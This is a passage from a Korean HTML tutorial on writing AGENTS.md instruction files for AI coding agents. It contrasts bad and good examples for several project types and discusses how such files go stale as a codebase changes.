&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. 포함해야 할 것 vs 제외해야 할 것&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;의사결정 트리&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;다음 질문에 답하면 어떤 정보를 포함할지 명확해진다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q1: 에이전트가 자동으로 발견할 수 있는가?&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 10px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;Yes (디렉토리 구조, 패키지 목록) &amp;rarr; 제외&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;No (비직관적 도구, 특수 플래그) &amp;rarr; 포함&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 10px; margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q2: 에이전트가 반복적으로 실수하는가?&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 10px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;Yes &amp;rarr; 포함 (방지 지침 작성)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;No &amp;rarr; 필수는 아님&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 10px; margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q3: README에 이미 있는가?&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 10px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;Yes &amp;rarr; 제외 (중복 피하기)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;No &amp;rarr; 포함 고려&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;구체적 포함/제외 예시&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;정보&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;포함?&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;이유&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;디렉토리 구조&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;제외&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;ls -R로 직접 탐색 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;사용 언어 (Python 3.11)&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;제외&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;requirements.txt, pyproject.toml에서 명백&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;&quot;uv를 사용해야 함&quot;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;span style=&quot;color: #28a745;&quot;&gt;포함&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;비직관적, 테스트 결과 기준&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;테스트: &lt;code&gt;--no-cache&lt;/code&gt; 필수&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;span style=&quot;color: #28a745;&quot;&gt;포함&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;특수 플래그, 에이전트 실수 예방&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;/legacy&lt;/code&gt; 디렉토리 삭제 금지&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;span style=&quot;color: #28a745;&quot;&gt;포함&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;중요한 제약 사항&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;설치 방법&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;제외&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;README에 충분히 설명&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 7: 실전 예시 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7. 실전 예시 &amp;mdash; 좋은 AGENTS.md vs 나쁜 AGENTS.md&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;나쁜 예 : 자동 생성 AGENTS.md&lt;/h3&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;yaml&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# Project Structure
.
├── src/
│   ├── main.py
│   ├── utils.py
│   └── config.py
├── tests/
├── docs/
└── README.md

# Technology Stack
- Language: Python 3.11
- Framework: FastAPI
- Database: PostgreSQL
- Testing: pytest
- Package Manager: pip

# Main Components
- src/main.py: Main application entry point
- src/utils.py: Utility functions
- tests/: Test suite&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;문제점&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;모두 &lt;b&gt;자동 발견 가능한 정보&lt;/b&gt; (tree 명령어, pyproject.toml, requirements.txt)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;README와 중복 (에이전트와 인간이 모두 이미 알고 있는 내용)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;토큰만 낭비하고 실제 가치 없음&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;좋은 예 : 전략적 AGENTS.md&lt;/h3&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# Critical Constraints for Agents

## Package Manager: Use uv, NOT pip
- The project uses uv for dependency management
- pip will NOT work and will cause build failures
- Always use: uv pip install, uv pip freeze

## Testing Requirements
- MUST use --no-cache flag: pytest --no-cache tests/
- Tests fail without this flag due to cached responses
- This is a known quirk of the test infrastructure

## DO NOT Delete
- /legacy/deprecated_api.py is still in use by legacy clients
- Remove only after migration is complete (see docs/migration-plan.md)
- Verify zero references before deletion

## Common Agent Mistakes (Prevent these!)
1. Using pip instead of uv (WRONG)
2. Running pytest without --no-cache flag (WRONG)
3. Deleting files in /legacy without checking refs (WRONG)
4. Modifying config/secrets.yaml directly (always use env vars)&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;한글로 표현하자면...&lt;/p&gt;
&lt;pre id=&quot;code_1772637555936&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# Critical Constraints for Agents

## Package Manager: pip이 아니라 uv 사용
- 이 프로젝트는 의존성 관리를 위해 uv를 사용합니다.
- pip은 동작하지 않으며 빌드 실패를 발생시킵니다.
- 항상 다음 명령을 사용하세요:
  - uv pip install
  - uv pip freeze

## 테스트 요구사항 (Testing Requirements)
- 반드시 --no-cache 플래그를 사용해야 합니다:  
  pytest --no-cache tests/
- 캐시된 응답 때문에 이 플래그가 없으면 테스트가 실패합니다.
- 이는 테스트 인프라의 알려진 특이 사항(known quirk)입니다.

## 삭제 금지 (DO NOT Delete)
- /legacy/deprecated_api.py 는 아직 레거시 클라이언트에서 사용 중입니다.
- 마이그레이션 완료 후에만 삭제 가능합니다 (docs/migration-plan.md 참고)
- 삭제하기 전에 반드시 참조가 0개인지 확인해야 합니다.

## 에이전트가 자주 하는 실수 (반드시 방지)
1. pip 사용 (WRONG)
2. pytest 실행 시 --no-cache 플래그 없이 실행 (WRONG)
3. /legacy 디렉터리의 파일을 참조 확인 없이 삭제 (WRONG)
4. config/secrets.yaml 파일을 직접 수정 (항상 env vars 사용)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) 여러 예시들&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;프로젝트 유형별 BAD vs GOOD 비교&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;실제로 어떻게 다른지 프로젝트 유형별로 직접 비교해보자.&lt;/p&gt;
&lt;!-- 케이스 1: Python + FastAPI + uv --&gt;
&lt;div style=&quot;border: 2px solid #cce5ff; border-radius: 12px; padding: 20px; margin: 25px 0;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 15px 0; font-weight: 600;&quot; data-ke-size=&quot;size20&quot;&gt;케이스 1. Python + FastAPI + uv 백엔드 프로젝트&lt;/h4&gt;
&lt;div style=&quot;display: grid; grid-template-columns: 1fr 1fr; gap: 15px;&quot;&gt;&lt;!-- BAD --&gt;
&lt;div&gt;
&lt;p style=&quot;margin: 0 0 8px 0; color: #dc3545; font-weight: bold;&quot; data-ke-size=&quot;size16&quot;&gt;BAD &amp;mdash; 백과사전형&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 15px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 12px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;markdown&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# My Awesome API

## Tech Stack
- Python 3.11
- FastAPI 0.110
- PostgreSQL 15
- Redis 7.2
- Docker

## Project Structure
.
├── src/
│   ├── api/
│   ├── models/
│   └── services/
├── tests/
└── docker/

## Getting Started
1. pip install -r requirements.txt
2. cp .env.example .env
3. uvicorn src.main:app --reload

## Testing
pytest tests/&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;!-- GOOD --&gt;
&lt;div&gt;
&lt;p style=&quot;margin: 0 0 8px 0; color: #28a745; font-weight: bold;&quot; data-ke-size=&quot;size16&quot;&gt;GOOD &amp;mdash; 발견 불가능한 정보만&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 15px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 12px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;routeros&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# Agent Instructions

## Package Manager: uv ONLY
# pip은 동작하지 않음 (uv.lock 기반)
uv pip install package-name

## Testing (--no-cache 필수)
pytest --no-cache tests/
# 이 플래그 없이는 캐시된 DB 응답으로
# 테스트가 항상 통과하는 버그 있음

## Never Delete
- /src/legacy_auth.py  &amp;larr; 구 클라이언트 사용 중
  (migration-tracker.md의 Step 4 완료 후 삭제)

## Boundaries
- secrets.yaml 직접 수정 금지 &amp;rarr; env vars만 사용
- DB 마이그레이션: alembic upgrade head (수동)&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 12px 15px; border-radius: 8px; margin-top: 12px;&quot;&gt;&lt;b&gt;왜 BAD인가?&lt;/b&gt;
&lt;ul style=&quot;margin: 8px 0 0 20px; padding: 0; font-size: 14px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot;&gt;Tech Stack &amp;rarr; pyproject.toml에서 자동 파싱 가능&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot;&gt;Project Structure &amp;rarr; &lt;code&gt;ls -R&lt;/code&gt;로 즉시 확인 가능&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot;&gt;Getting Started &amp;rarr; README에 이미 있음&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;결과: 토큰 낭비, uv/--no-cache 지침 없어 에이전트가 반복 실수&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;!-- 케이스 2: Next.js + TypeScript + pnpm --&gt;
&lt;div style=&quot;border: 2px solid #cce5ff; border-radius: 12px; padding: 20px; margin: 25px 0;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 15px 0; font-weight: 600;&quot; data-ke-size=&quot;size20&quot;&gt;케이스 2. Next.js + TypeScript + pnpm 프론트엔드 프로젝트&lt;/h4&gt;
&lt;div style=&quot;display: grid; grid-template-columns: 1fr 1fr; gap: 15px;&quot;&gt;&lt;!-- BAD --&gt;
&lt;div&gt;
&lt;p style=&quot;margin: 0 0 8px 0; color: #dc3545; font-weight: bold;&quot; data-ke-size=&quot;size16&quot;&gt;BAD &amp;mdash; 기술 스택 나열형&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 15px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 12px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;crystal&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# Frontend Project

## Stack
- Next.js 15 (App Router)
- TypeScript 5.4
- Tailwind CSS 3.4
- pnpm 9.0

## Folder Structure
src/
  app/         # App Router pages
  components/  # Reusable components
  lib/         # Utilities
  types/       # TypeScript types

## Development
npm install  # Install dependencies
npm run dev  # Start dev server

## Code Style
- Use functional components
- TypeScript strict mode
- ESLint + Prettier&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;!-- GOOD --&gt;
&lt;div&gt;
&lt;p style=&quot;margin: 0 0 8px 0; color: #28a745; font-weight: bold;&quot; data-ke-size=&quot;size16&quot;&gt;GOOD &amp;mdash; 행동 제약에 집중&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 15px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 12px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;vala&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# Agent Constraints

## Package Manager: pnpm ONLY
# npm/yarn 사용 시 lockfile 충돌 발생
pnpm install
pnpm dev

## NEVER run `next build` during dev
# .next 폴더가 production 에셋으로 전환되어
# hot-reload가 비활성화됨 &amp;rarr; pnpm dev로 재시작 필요

## Component Patterns
- shadcn/ui 컴포넌트 &amp;rarr; pnpm dlx shadcn-ui add
  (npm exec 버전 아님, registry 주소 다름)
- 새 페이지: app/ 하위에만 생성 (pages/ 없음)

## Boundaries
- /app/api/ 직접 수정 금지 &amp;rarr; tRPC router만 사용
- env vars: .env.local 확인 후 추가&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 12px 15px; border-radius: 8px; margin-top: 12px;&quot;&gt;&lt;b&gt;왜 BAD인가?&lt;/b&gt;
&lt;ul style=&quot;margin: 8px 0 0 20px; padding: 0; font-size: 14px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot;&gt;&lt;code&gt;npm install&lt;/code&gt;이라고 적혀 있으면 에이전트는 npm을 사용 &amp;mdash; pnpm 프로젝트에서 lockfile 충돌 발생&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot;&gt;Code Style &amp;rarr; .eslintrc, prettier.config에서 읽을 수 있음&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;결과: 에이전트가 next build 실행 후 dev 환경 망가뜨리는 실수 반복&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;!-- 케이스 3: 모노레포 --&gt;
&lt;div style=&quot;border: 2px solid #cce5ff; border-radius: 12px; padding: 20px; margin: 25px 0;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 15px 0; font-weight: 600;&quot; data-ke-size=&quot;size20&quot;&gt;케이스 3. 모노레포 &amp;mdash; 계층적 AGENTS.md&lt;/h4&gt;
&lt;div style=&quot;display: grid; grid-template-columns: 1fr 1fr; gap: 15px;&quot;&gt;&lt;!-- BAD --&gt;
&lt;div&gt;
&lt;p style=&quot;margin: 0 0 8px 0; color: #dc3545; font-weight: bold;&quot; data-ke-size=&quot;size16&quot;&gt;BAD &amp;mdash; 루트에 모두 몰아넣기&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 15px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 12px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;markdown&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# Monorepo AGENTS.md (루트)

## 패키지 구조
packages/
  api/       # NestJS 백엔드
  web/       # Next.js 프론트엔드
  mobile/    # React Native
  shared/    # 공통 유틸리티

## API 패키지
- Node.js 20 + NestJS 10
- PostgreSQL + TypeORM
- jest로 테스트
- npm run test --forceExit 필요

## Web 패키지
- Next.js 15 + TypeScript
- pnpm 사용 (npm 금지)
- npm run build 하지 말 것

## Mobile 패키지
- React Native 0.74
- ios: pod install 후 빌드
- android: ./gradlew assembleDebug&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;!-- GOOD --&gt;
&lt;div&gt;
&lt;p style=&quot;margin: 0 0 8px 0; color: #28a745; font-weight: bold;&quot; data-ke-size=&quot;size16&quot;&gt;GOOD &amp;mdash; 계층적으로 분리&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 15px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 12px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;yaml&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# 루트 AGENTS.md (~20줄)
## Workspace Rules
- 패키지 매니저: pnpm workspaces
- 공통 타입: packages/shared/src/types/
- 각 패키지별 AGENTS.md 참조

---
# packages/api/AGENTS.md (~20줄)
## API-Specific Constraints
- Test: jest --forceExit (없으면 hang)
- DB 마이그레이션: typeorm migration:run (수동)
- /src/legacy/ 삭제 금지 (old SDK 의존)

---
# packages/web/AGENTS.md (~20줄)
## Web-Specific Constraints
- pnpm ONLY (npm 사용 시 lockfile 충돌)
- next build 금지 (dev 환경 파괴)
- shadcn: pnpm dlx shadcn-ui add [comp]&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 12px 15px; border-radius: 8px; margin-top: 12px;&quot;&gt;&lt;b&gt;왜 BAD인가?&lt;/b&gt;
&lt;ul style=&quot;margin: 8px 0 0 20px; padding: 0; font-size: 14px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot;&gt;api 작업 중인 에이전트가 mobile 패키지 정보까지 컨텍스트에 로드 &amp;rarr; 불필요한 토큰 소비&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot;&gt;패키지 구조 &amp;rarr; 디렉토리 탐색으로 즉시 파악 가능&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;결과: 루트 파일 비대화로 80줄 초과 시 준수율 급락 (HumanLayer 실험 데이터)&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;세 케이스 모두 공통된 패턴이 있다. &lt;b&gt;BAD 예시&lt;/b&gt;는 에이전트가 이미 알 수 있는 정보(파일 구조, 기술 스택)를 나열하고, &lt;b&gt;GOOD 예시&lt;/b&gt;는 에이전트가 &lt;i&gt;알 수 없는&lt;/i&gt; 정보(비직관적 도구, 특수 플래그, 제약사항)에 집중한다. Addy Osmani의 실험에서 &lt;code&gt;uv&lt;/code&gt;를 명시하자 사용 빈도가 0.01 &amp;rarr; 1.6회/태스크로 160배 증가한 이유가 바로 이것이다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;장점&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;발견 불가능한 정보:&lt;/b&gt; uv 사용 requirement, --no-cache 플래그는 에이전트가 자동으로 알 수 없음&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;에이전트 실수 예방:&lt;/b&gt; 반복되는 패턴을 명시적으로 차단&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;효율적:&lt;/b&gt; 간결하고, 32KiB 제한 내에 들어옴&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;실제 가치 제공:&lt;/b&gt; 지식 기반 개선, 토큰 절감&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 7.5: 문서 부패 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;시간이 지나면 생기는 문제 &amp;mdash; 문서 부패&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;설령 AGENTS.md를 완벽하게 작성했다 하더라도, &lt;b&gt;단일 정적 파일&lt;/b&gt;이라는 형식 자체에 근본적인 한계가 있다. 코드베이스는 매일 변하지만, AGENTS.md는 &lt;b&gt;한 번 작성하면 자동으로 갱신되지 않는다.&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;code&gt;payments-v1&lt;/code&gt; 모듈이 이미 삭제되었는데 AGENTS.md에는 여전히 &quot;건드리지 마라&quot;고 적혀 있음&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;TypeScript 5.5로 업그레이드했는데 AGENTS.md에는 &quot;TypeScript 5.3 사용 중&quot;이라고 적혀 있음&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;새로운 테스트 프레임워크로 마이그레이션했는데 AGENTS.md에는 구 프레임워크 실행 방법이 적혀 있음&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;시간이 지날수록 AGENTS.md와 실제 코드베이스 사이의 &lt;b&gt;간극(drift)&lt;/b&gt;이 커지고, 이 오래된 정보는 앞서 말한 앵커링 효과를 통해 에이전트를 &lt;b&gt;잘못된 방향으로 유도&lt;/b&gt;하게 된다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;문서 부패의 실제 사례&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;한 달 전 AGENTS.md에 &quot;Prisma ORM을 사용한다&quot;고 적었다. 그런데 2주 전 팀이 Drizzle ORM으로 마이그레이션을 시작했다. AGENTS.md는 업데이트되지 않았고, 에이전트는 여전히 Prisma 스타일의 쿼리를 생성한다.&lt;/p&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;더 심각한 사례: AGENTS.md에 &quot;E2E 테스트는 Cypress를 사용한다&quot;고 적혀 있는데, 실제로는 3개월 전 Playwright로 전환했다. 에이전트가 Cypress 문법으로 테스트를 작성하면 &lt;b&gt;아예 실행조차 되지 않는 코드&lt;/b&gt;가 만들어진다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f8d7da; border: 2px solid #dc3545; border-radius: 8px; padding: 15px; margin: 20px 0;&quot;&gt;&lt;b&gt;문서 부패의 악순환&lt;/b&gt;
&lt;div style=&quot;margin-top: 10px;&quot;&gt;
&lt;pre class=&quot;angelscript&quot; style=&quot;margin: 0; font-family: 'Fira Code', monospace; font-size: 14px; line-height: 1.8; color: #d4d4d4; background: transparent;&quot;&gt;&lt;code&gt;1. AGENTS.md 작성 (정확함)
   &amp;darr;
2. 코드베이스 변화 (계속 진화)
   &amp;darr;
3. AGENTS.md가 현실과 괴리 (문서 부패)
   &amp;darr;
